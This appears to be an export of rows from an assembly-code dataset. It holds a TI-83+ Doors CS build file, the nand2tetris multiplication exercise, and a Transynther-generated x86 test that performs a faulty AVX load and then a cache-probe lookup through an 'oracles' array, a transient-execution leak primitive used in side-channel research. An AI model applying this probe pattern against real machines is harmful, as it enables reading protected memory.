;MM?7MMMMMMMMMMMMMMMMMMMM8MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM7 :7MMMMMMMMMMZ7 77MMMMMMMMMMMMMM$ 7MMMMMMMM
;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
;MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
;* Version 6.2.0
;* TI-83+ Edition
;* By Kerm Martian
;* admin@cemetech.net
;* http://www.Cemetech.net
;************************************************************************************************************************
;* Build 6.3.0 beta
;* Compiled May 25, 2008
;****************************************************************************************************
;-----------------------------------------------------------
; Filename: dcs6.asm
; Long name: Doors CS 6 Program Core
; Author: Kerm Martian aka Christopher Mitchell
; Last Update: June 2, 2006
;
;Please consult license.txt for the fair use agreement
;implicitly binding by you continuing to read past this
;point. Close and delete this file if you do not agree
;to the terms of the agreement.
;-----------------------------------------------------------
.exportmode Assembly \ .export
.binarymode ti8xapp ; TI-83+ Application
.variablename "DoorsCS7" ; Application name (shown in 'Apps' menu)
;#DEFINE APP
;#DEFINE APPNAME "DoorsCS6"
;#DEFINE APPPAGES 3
#DEFINE NOAPPHEADER
#DEFINE NOEND
#DEFINE TI83P
#DEFINE NOTOKENS
#INCLUDE "newdefs.inc"
#include "tokens.inc"
#INCLUDE "header.asm"
#INCLUDE "notes.inc"
;#INCLUDE "dcs6.inc"
.defpage 0, 16*1024, $4000 ; Page 0 definition
.defpage 1, 16*1024, $4000 ; Page 1 definition
.defpage 2, 16*1024, $4000 ; Page 2 definition
.page 0 ; Start page 0
Page0Start:
; ? header is added in here for us
.block 128 ; Advance 128 bytes for header
FileStart:
ASMStart:
jp RealStart
;--------------------------
#include "vectors.asm" ;Page 0 vector and branch tables
;--------------------------
#include "ionlibsp0.inc" ;Page 0 Ion libraries
#include "dcslibsp.inc" ;Doors CS libraries
#include "fonts.inc" ;Font-related functions
#include "basicprg.inc" ;Basic program execution
#include "detecttype.inc" ;Program type detection functions
#include "vatfind.asm" ;VFAT construction routine
#include "runprog.asm" ;Full runprog routines
#include "progchain.asm" ;Chaining routines like push and pop
#ifdef enableCn2
#include "calcnet2.asm" ;CalcNet linking protocol
#endif
#ifdef alphasort
#include "sortalph.inc" ;Alpha program sorting
#endif
#include "ap.asm" ;Associated program functions
#include "easteregg.asm" ;Credits screen
#ifdef USBDrivers
#include "usbdrivers.asm" ;USB drivers?
#endif
#include "mouse_p0.asm" ;Page 0 Desktop mouse functions
#include "fldsv.asm" ;Folder backup and restoration
;--------------------------
;RealStart: is here:
#include "main.asm" ;here's where all the page 0 magic happens!
ResetAppPage0a:
pop af
pop af
pop af
ResetAppPage0:
ret
Page0End:
.echoln "Page 0 is ",Page0End-Page0Start," bytes long (",16384-Page0End+Page0Start," bytes to spare)"
.page 1
Page1Start:
ResetAppPage1:
bcall(_ResetAppPage0a)
#include "vectorsp2.asm"
#ifdef mossupport
#include "moslibs.asm"
#endif
#include "ionlibsp1.inc"
#include "guitools.inc"
#include "guimouse.asm"
#include "mouse_p1.asm"
#include "startmenu.inc"
#include "cedit.asm"
#include "apguis.asm"
#include "propstring.asm"
#include "datap1.inc"
Page1End:
.echoln "Page 1 is ",Page1End-Page1Start," bytes long (",16384-Page1End+Page1Start," bytes to spare)"
.page 2
Page2Start:
ResetAppPage2:
bcall(_ResetAppPage0a)
#include "vectorsp3.asm"
#include "ionlibsp2.inc"
#include "parserhook.inc"
#ifdef celtic3support
#include "c3_hook.asm"
#include "c3_std.asm"
#include "c3_util.asm"
#include "c3_xfn.asm"
#include "c3_pfn.asm"
#include "c3_cfn.asm"
#endif
;#include "celtic3src/_HKH.z80" ;hook handler
;#include "c3_std.asm" ;subroutines used frequently
;#include "celtic3src/_UTL.z80" ;utility file
;#include "celtic3src/_CFN.z80" ;C3 fn
;#include "celtic3src/_PFN.z80" ;FA fn
;#include "celtic3src/_XFN.z80" ;XL fn
;#include "celtic3src/_UFN.z80" ;Unused
#include "datap2.inc"
Page2End:
.echoln "Page 2 is ",Page2End-Page2Start," bytes long (",16384-Page2End+Page2Start," bytes to spare)"
FileEnd:
.end
END | 43.236364 | 121 | 0.652789 |
40fa04f71c55fdae2304bdb2f50238a8d6cdc5f9 | 477 | asm | Assembly | 04/Mult.asm | sin9yt/nand2tetris | 103f6648ed35cebfde564c218399a6b832d5d009 | [
"MIT"
] | null | null | null | 04/Mult.asm | sin9yt/nand2tetris | 103f6648ed35cebfde564c218399a6b832d5d009 | [
"MIT"
] | null | null | null | 04/Mult.asm | sin9yt/nand2tetris | 103f6648ed35cebfde564c218399a6b832d5d009 | [
"MIT"
] | null | null | null | // This file is part of www.nand2tetris.org
// and the book "The Elements of Computing Systems"
// by Nisan and Schocken, MIT Press.
// File name: projects/04/Mult.asm
// Multiplies R0 and R1 and stores the result in R2.
// (R0, R1, R2 refer to RAM[0], RAM[1], and RAM[2], respectively.)
(BEGIN)
@R2
M = 0 // Initialize R2 to 0
(LOOP)
@R1
D = M - 1
@NULL
D; JLT
@R0
D = M
@R2
D = D + M
M = D
@R1
M = M - 1
D = M
@LOOP
D; JGE
(NULL)
@R0
M = 0 | 15.387097 | 67 | 0.580713 |
4ca3ff58fb7a22d29b194f26bbb445e5983ed712 | 7,634 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_1654.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_1654.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_un_/i3-7100_9_0x84_notsx.log_21829_1654.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0xfa08, %r13
nop
nop
inc %rdi
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
add $21387, %rcx
lea addresses_D_ht+0xe608, %r9
nop
sub $51368, %r10
movl $0x61626364, (%r9)
nop
nop
nop
nop
and %r9, %r9
lea addresses_UC_ht+0x8c08, %rsi
lea addresses_UC_ht+0x11588, %rdi
nop
nop
nop
cmp %r13, %r13
mov $7, %rcx
rep movsb
nop
nop
nop
nop
nop
sub %r11, %r11
lea addresses_WC_ht+0x5a08, %rdi
nop
nop
nop
nop
sub $48831, %rsi
movb (%rdi), %r11b
nop
nop
nop
xor %r9, %r9
lea addresses_normal_ht+0x18168, %rsi
lea addresses_UC_ht+0x6f38, %rdi
nop
nop
nop
xor %r8, %r8
mov $62, %rcx
rep movsb
nop
nop
nop
nop
nop
and %rcx, %rcx
lea addresses_WT_ht+0x178d4, %r11
clflush (%r11)
nop
nop
nop
nop
nop
sub $10553, %r9
movb (%r11), %cl
nop
nop
nop
cmp $48555, %rdi
lea addresses_UC_ht+0xc7df, %r9
nop
dec %rdi
mov (%r9), %rsi
nop
nop
nop
nop
nop
xor %rcx, %rcx
lea addresses_WC_ht+0x108f4, %rsi
lea addresses_normal_ht+0xe46, %rdi
clflush (%rsi)
cmp $44935, %r10
mov $65, %rcx
rep movsl
nop
nop
nop
nop
nop
cmp $9445, %r11
lea addresses_UC_ht+0x13208, %rsi
lea addresses_WC_ht+0x14744, %rdi
nop
nop
nop
nop
nop
sub $19574, %r8
mov $14, %rcx
rep movsw
nop
nop
nop
nop
sub %r9, %r9
lea addresses_UC_ht+0x1bbc4, %r9
nop
nop
nop
and %r8, %r8
movl $0x61626364, (%r9)
nop
and %r13, %r13
lea addresses_normal_ht+0x1e108, %rsi
lea addresses_UC_ht+0x6e08, %rdi
nop
nop
nop
add $10781, %r11
mov $42, %rcx
rep movsq
nop
dec %r13
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r15
push %r8
push %rbp
push %rbx
push %rcx
push %rsi
// Store
lea addresses_WC+0x16208, %rsi
nop
nop
xor $19560, %r11
movw $0x5152, (%rsi)
and %r8, %r8
// Store
lea addresses_RW+0x13a08, %rbx
and $9351, %rbp
movl $0x51525354, (%rbx)
inc %rbx
// Load
lea addresses_WC+0x13760, %rbx
xor %r15, %r15
mov (%rbx), %bp
nop
nop
nop
nop
nop
add $40032, %rbx
// Faulty Load
lea addresses_WC+0x11208, %rbp
nop
nop
nop
sub %r8, %r8
vmovaps (%rbp), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r15
lea oracles, %rsi
and $0xff, %r15
shlq $12, %r15
mov (%rsi,%r15,1), %r15
pop %rsi
pop %rcx
pop %rbx
pop %rbp
pop %r8
pop %r15
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'47': 1, '44': 2413, '74': 1, '07': 23, '73': 1, '08': 22, '60': 18, '48': 55, '7d': 1, '02': 1, '75': 1, '00': 19290, 'ff': 2}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 44 44 00 00 00 44 00 44 00 00 07 00 00 00 00 00 00 00 44 44 44 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 60 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 44 00 44 00 00 00 00 00 44 00 44 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 44 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 44 00 00 44 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 44 00 44 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 44 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 44 00 44 00 44 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 00 00 44 00 00 00 00 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 44 00 44 00 00 00 00 00 44 44 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 44 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 44 00 00 44 00 00 00 00 00 00 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 33.336245 | 2,999 | 0.652345 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.